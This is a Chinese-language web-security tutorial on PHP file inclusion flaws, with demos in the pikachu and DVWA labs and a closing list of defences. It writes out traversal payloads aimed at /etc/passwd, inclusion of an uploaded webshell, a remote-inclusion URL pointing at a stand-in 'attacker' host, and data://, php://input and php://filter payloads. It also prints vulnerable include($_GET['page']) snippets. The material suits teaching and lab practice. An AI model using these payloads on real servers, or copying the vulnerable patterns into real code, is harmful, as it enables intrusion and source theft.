九,文件包含漏洞
1.文件包含和文件包含漏洞概述
文件包含:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种文件调用的过程一般被称为文件包含。比如:开发人员可以创建标准页头、页脚或者菜单文件,然后在网站所有页面使用include或者require等语句将这些文件包含起来。当页头或者菜单需要更新的时候,就只需要更新页头文件或者菜单文件,而不需要对所有的页面进行改动。
php中常见的文件包含函数:
include()
//当使用该函数包含文件时,只有代码执行到include ()函数时才将文件包含 进来,发生错误时之给出一个警告,继续向下执行。如果包含的文件不存在, 程序继续执行
include_once()
//功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require()
//它与include ()的区别在于require ()执行如果发生错误,函数会输 出错误信息,并终止脚本的运行,如果包含的文件不存在,程序停止执行。
require_once()
//功能与require0相同,区别在于当重复调用同一文件时,程序只调用一次
文件包含漏洞:文件包含漏洞产生的原因是后端开发人员的开发疏忽,使得用户可以控制包含的文件,比如如下代码:
当用户通过GET请求向服务器发送 file=…/…/etc/passwd时,php将访问/etc/passwd文件
除了自定义输入外,当使用了include、require等函数包含文件的时候,被包含的文件会被服务器当作PHP代码来执行,PHP的内核并不会在意该文件是什么类型,即使是图片也是可以被当作php代码来执行。黑客通常会将文件包含漏洞与文件上传结合在一起,上传内容带有php语句的图片,在通过文件包含漏洞包含该图片,达到执行php代码的目的,控制服务器
文件包含漏洞前提:
(1)include()等函数通过动态变量的方式引入需要包含的文件;
(2)用户能够控制该动态变量。
2.本地文件包含(Local File Inclusion LFI)
本地文件包含漏洞,顾名思义就是包含了本地的文件,我们可以使用服务器本地的文件。
这里我们使用pikachu的本地文件包含模块:
抓包发现,我们可以修改文件名,我们尝试改成…/…/…/…/dama.php
可以看到是能执行包含的木马文件的。
下面我们打开DVWA的文件包含模块:
通过请求数据,我们可以判断这里存在文件包含漏洞。我们修改请求数据为…/…/…/dama.php:
直接就出来了。
3.远程文件包含
在本地文件包含的基础上,如果网站管理员将PHP配置(php.ini)文件中的allow_url_fopen和allow_url_include选项修改为On的话(默认为Off),include/require函数就可以加载第三方服务器中的文件,这样的漏洞被称为远程文件包含(RFI)漏洞。比如下面这段代码:
如果我们使用以下请求:?path=http://attacker/shell.txt,那么就会变成require_once path=http://attacker/shell.txt,请求到远程的恶意木马文件。
这里我们还是使用DVWA的文件包含模块,我们把请求参数改成http://127.0.0.1/phpinfo.txt:
4.伪协议利用
文件系统是PHP使用的默认封装协议,展现了本地文件系统。file://这个伪协议可以展示"本地文件系统",当存在某个用户可控制、并得以访问执行的输入点时,我们可以尝试输入file://去试图获取本地磁盘文件
注意:file://这个伪协议后需跟文件的绝对路径。以上两种方式效果一样,但是前面的是以电脑本地文件路径访问,后面的是浏览器访问本地文件的方式。
我们接着使用DVWA的文件包含:
这个伪协议是可以使用的,我这里直接看了C盘下的一个文本文件。
下面使用data伪协议:?page=data:text/plain,<?php phpinfo(); ?>
还有php://input伪协议:?page=php://input post提交代码
php://filter伪协议:?page=php://filter/read=convert.base64-encode/resource=file1.php
出来的base64编码就是网页的源代码
5.常见文件包含代码
<?php
if( isset( $_GET['page'] ) ){
include( $_GET['page']);
}else {
include('show.php');
}
?>
<?php
if(isset($_GET['page'])) {
include ('. /action/'. $_GET['page']);
}else{
include 'show.php';
}
?>
<?php
if(isset($_GET['page'])) {
include ('. /action/'. $_GET['page'] . '. php');
}else{
include 'show.php';
}
?>
注意这个代码实行需要 magic_quotes_gpc=Off, 并且php版本小于5.3.4有效
6.日志包含
首先我们要确保开启了日志功能:Apache:httpd.conf–>CustomLog “logs/access.log” combined
注意,写入的时候不能使用浏览器,因为浏览器会把请求的代码给url编码,造成代码失效。
我们这边开启一个linux虚拟机:
使用curl请求本机地址之后,我们查看日志:
看到是有的,我们尝试包含日志:
7.文件包含漏洞防范
1.在php代码中禁止0字节(\0),防止攻击者截断攻击。把版本更新到高版本
2.在PHP中配置open_basedir,限制PHP仅能打开某个文件夹的文件,使攻击者无法通过…/等方式遍历服务器文件
3.过滤.(点)/ (斜杠)\(反斜杠),防止遍历目录
4.尽量避免包含动态的变量,尤其是用户可以控制的变量,可以通过枚举实现,比如: